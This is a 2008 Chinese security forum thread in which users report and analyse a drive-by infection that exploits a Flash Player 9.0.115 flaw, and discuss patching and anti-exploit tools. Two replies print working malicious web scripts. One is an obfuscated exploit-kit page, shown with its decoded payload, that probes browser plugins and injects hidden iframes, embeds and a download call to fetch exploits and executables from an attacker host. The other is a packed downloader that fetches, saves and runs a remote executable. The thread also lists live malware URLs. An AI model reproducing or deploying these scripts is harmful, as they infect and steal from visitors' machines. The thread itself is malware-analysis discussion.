首页
社区
课程
招聘
[求助]防不胜防啊,IE又有新漏洞?[Adobe Flash Player 9 .0.115严重安全漏洞]
发表于: 2008-5-28 21:30 14118

[求助]防不胜防啊,IE又有新漏洞?[Adobe Flash Player 9 .0.115严重安全漏洞]

2008-5-28 21:30
14118
如题,简直是防不胜防啊

上次坛子里有人发了个网站说有病毒 去看了看,貌似没中毒,网站还不错 ,呵呵,可以下载些高清的A.V。

今天想去看看,结果发现有病毒。NOD32有提醒,可这个提醒已经晚了。

这个提醒已经是下载者运行之后,下载者从网站上下载盗号木马时网络监控的提醒,也就是说网页利用漏洞将下载者程序下载并运行这个过程杀毒软件毫无觉察。下载者NOD32也没有扫出病毒。

下载者文件名(orz.exe)

顺便BS下百度安全中心的网页防挂马功能(an.baidu.com)

自己觉得平时还是很注意安全的,系统补丁该打的都打了,没事就点下系统开始菜单里的update

最后帖下病毒网页地址,不知道违规不,违规提醒下偶哦,高手研究下吧
友情提醒:最好在虚拟机研究。我系统补丁打全都中招了。
http://www.mycould.com/discuz/thread-726622-1-1.html

[课程]Android-CTF解题方法汇总!

收藏
免费 0
支持
分享
最新回复 (26)
雪    币: 229
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
FLASH9e.ocx有问题
2008-5-28 21:50
0
雪    币: 249
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
那不一定是ie的漏洞
2008-5-28 22:08
0
雪    币: 229
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
刚开始我只是猜测是IE的漏洞

现在确定不是IE的漏洞了 是FLASH的漏洞

漏洞原理大致如下:
1.swf用loadmovie加载另一个恶意的SWF文件2.swf

2.swf实现溢出(用SWF反编译看,有一个图片,貌似不是图片,可能是用于溢出的,不懂哦)

具体怎么实现的我就不知道了 等高手分析 呵呵 网上好像也有说这个FLASH漏洞的文章了

赶紧升级FLASH控件哦~~~~
2008-5-28 22:26
0
雪    币: 229
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
那个网页用于溢出的SWF文件名为WIN%209,0,115,0i.swf
我的FLASH控件版本是9.0.115.0

赶紧升级到9.0.124.0好像是最新的
2008-5-28 22:27
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
我咋没看到那个swf啊
2008-5-29 12:42
0
雪    币: 230
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
是FLASH 漏洞..
2008-5-29 13:19
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
8
禁止IE执行文件就行了,或者给sandboxie一下~
2008-5-29 14:52
0
雪    币: 79
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
刚刚大概看了下,有问题的页面是news.htm,base64编码。以下是news.htm的源文件:

<script>window.onerror=function(){return true;}</script>
<script>
/*Extreme*/
window.defaultStatus="完成";
Status="utf8to16";
function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
return out.join('');}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(str)
{var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out = "";while(i<len)
{do
{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
break;do
{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
{c3=str.charCodeAt(i++)&0xff;if(c3==61)
return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
{c4=str.charCodeAt(i++)&0xff;if(c4==61)
return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)
break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}
return out}
function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)
{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}
if(w){return v.join('').substring(0,sl);}
else{return v.join('');}}
function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)
{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}
if(w){v[v.length]=len;}
return v;}
function xxtea_decrypt(str,key){if(str==""){return"";}
var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v

=v

-mx&0xffffffff;}
z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}
return long2str(v,true);}
t="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";
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))
/*Extreme*/
</script>

解页面,先把eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0=4(5(3(0),\'\\2\\1\\6\\d\\7\'));c["\\b\\a\\8\\9"](0);',14,14,'t|x75|x66|base64decode|utf8to16|xxtea_decrypt|x63|x31|x61|x6c|x76|x65|window|x6b'.split('|'),0,{}))

那段代码开始的eval改成alert得到:t=utf8to16(xxtea_decrypt(base64decode(t),'\x66\x75\x63\x6b\x31'));window["\x65\x76\x61\x6c"](t);

再执行一次alert(t=utf8to16(xxtea_decrypt(base64decode(t),'\x66\x75\x63\x6b\x31')));

最后看到:

try{var e;
var ado=(document.createElement("object"));
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=http:\/\/user1.kugogo.net\/ms06014.js><\/script>")}
else{
try{var f;
var Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(",");}
catch(f){};
finally{if(f!="[object Error]"){
if(Flashver[2] == 47){document.write('<embed src="http://user1.kugogo.net/flash1.swf"></embed>')}
if(Flashver[2] == 115){document.write('<embed src="http://user1.kugogo.net/flash2.swf"></embed>')}}}
try{var g;
var glworld=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(g){};
finally{if(g!="[object Error]"){
document.write('<iframe style=display:none src="http://user1.kugogo.net/GLWORLD.html"></iframe>')}}
try{var h;
var real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(h){};
finally{if(h!="[object Error]"){
if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/user1.kugogo.net\/real.js><\/script>')}
else{document.write('<iframe style=display:none src="http://user1.kugogo.net/Real.html"></iframe>')}}}
try{var i;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(i){};
finally{if(i!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("http://user1.kugogo.net/Baidu.cab", "Baidu.exe", 0)}}
if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]")
{
try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0

src=http://user1.kugogo.net/Thunder.html></iframe>')}catch(e){}
}}}

最后Whois一下kugogo.net的信息
   Updated Date: 28-may-2008
   Creation Date: 28-may-2008
   Expiration Date: 28-may-2009

汗,昨天才注册的,注册联系人的信息:
Registrant Contact:
   Gao
   Fei Gao (gaofei@163.com)
   +86.1012345678
   Fax: +86.1012345678
   Beijingtongcheng
   Beijing, Beijing 10000
   CN

ping user1.kugogo.net 得IP 121.10.105.109 广东省湛江市

先就这么多了,里面包含的几个网马懒得去分析了。

2008-5-29 15:59
0
雪    币: 44229
活跃值: (19960)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
10
大家别忘了升级flash播放器

漏洞评级:严重
受影响软件版本:Adobe Flash CS3
Adobe Flash Player 9.x
Adobe Flex 2.x
Macromedia Flash 8.x
Macromedia Flash Player 7.x
Macromedia Flash Player 8.x
漏洞描述:Adobe Flash播放器被发现多个严重安全漏洞,这些漏洞被恶意利用后会导致以下的严重后果:
暂时未知
穿透安全软件
跨站代码
恶意操纵数据
泄露敏感资料
权限提升
拒绝服务攻击
非法系统登陆

以上漏洞都存在于Adobe Flash播放器 Flash Player 9.0.124.0更之前的版本。

漏洞修补: 需将相关播放器升级为Flash Player 9.0.124.0或更高版本
2008-5-30 09:31
0
雪    币: 206
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
谢谢提醒,一直没有在意。
2008-5-30 09:46
0
雪    币: 124
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
这个漏洞适用9.0.115.0,要升级到9.0.124.0版本
2008-5-30 12:24
0
雪    币: 229
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
需要升级到最新的9.0.124.0

9.0.124.0以前的版本都有漏洞,都会被利用
2008-5-30 12:58
0
雪    币: 204
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
汗。。。。赶快去升级。。。。。。
2008-5-30 13:16
0
雪    币: 44229
活跃值: (19960)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
15
感谢告知,修正了
2008-5-30 13:43
0
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
哈哈哈!!!!!!!!
2008-5-31 15:36
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseint(c/a)))+((c=c%a)>35?string.fromcharcode(c+29):c.tostring(36))};if(!''.replace(/^/,string)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('b{j a=n.a("\\i\\c\\9\\m\\h\\8\\h\\z\\4\\6\\y\\i\\c\\d\\l\\l\\f","");a.e("g","\\d\\4\\4\\f\\v\\g\\g\\p\\8\\3\\m\\k\\6\\k\\s\\x\\s\\w\\6\\o\\3\\4\\g\\p\\r\\t\\6\\9\\8\\8",0);a.u();7.r=1;7.q();7.s(a.v);b="..\\\\q.h";7.k(b,2);7.j();j u=n.i("\\t\\d\\3\\5\\5\\6\\l\\f\\f\\5\\c\\9\\r\\4\\c\\h\\o","");u["\\t\\d\\3\\5\\5\\m\\o\\3\\9\\p\\4\\3"](b,"","q")}n(e){}',58,58,'|||x65|x74|x6c|x2e|as|x73|x63|xml|path|x69|x68||x70|x2f|x6f|x4d|var|x31|x54|x72|ado|x6e|x75|open|x61|x32|x53|shell|x3a|x33|x2d|x58|x66|createobject|try|x4c|x48|open|x50|get|com|createobject|close|savetofile|x41|x45|catch|x78|x62|ntuser|type|write|x6b|send|responsebody'.split('|'),0,{}))

这个不是 Flash漏洞 , 这是我抓到的漏洞脚本
2008-5-31 23:27
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
9.0.124.0也有。我截获了一份能溢出的样本正在分析中。。跟115的差不多
2008-6-1 11:16
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
9.0.124.0版本
听说也有漏洞了 晕晕的 只能删除插件了!
2008-6-1 18:04
0
雪    币: 75
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
你有9.0.124.0样本吗?发给我jwihack@gmail.com
2008-6-1 18:54
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
建议各位裸奔的家伙装个网页防漏程序
漏洞利用无非就是想下载病毒木马或者木马下载器,下来了被网页防漏拦掉不就得了
至于要删除Flash控件吗?
2008-6-2 19:25
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
22
今天看了那shellcode,才知道网页防漏的要是使用Ring3级的hook来拦截,还不一定能拦截得住,因为那shellcode有针对关键hook的恢复。
2008-6-2 20:49
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
同时安装下面两个网页防漏工具,保证漏不过去

www.raslab.net/download/SWebMon.zip
www.raslab.net/download/AntiSysLeak.zip(这个版本在内核SSDT上拦截到的Flash漏洞)

成功拦截到Flash溢出漏洞的orz.exe病毒

哎呀,这个世界真是太疯狂了,病毒都给杀软当伴娘了
2008-6-2 21:29
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
24
显然驱动级拦SSDT就拦得住
2008-6-2 21:48
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
溢出swf文件通过以下两个ntdll.dll中的函数传播
NtCreateProcess
NtWriteRequestData

并修复用于网马收集器中用于Win32网页防漏的CreateProcessInternalW函数Inline钩子
因此,当前的所有杀毒产商的Win32层技术的网页防漏一概漏杀

惭愧呀
2008-6-3 09:46
0
游客
登录 | 注册 方可回帖
返回
//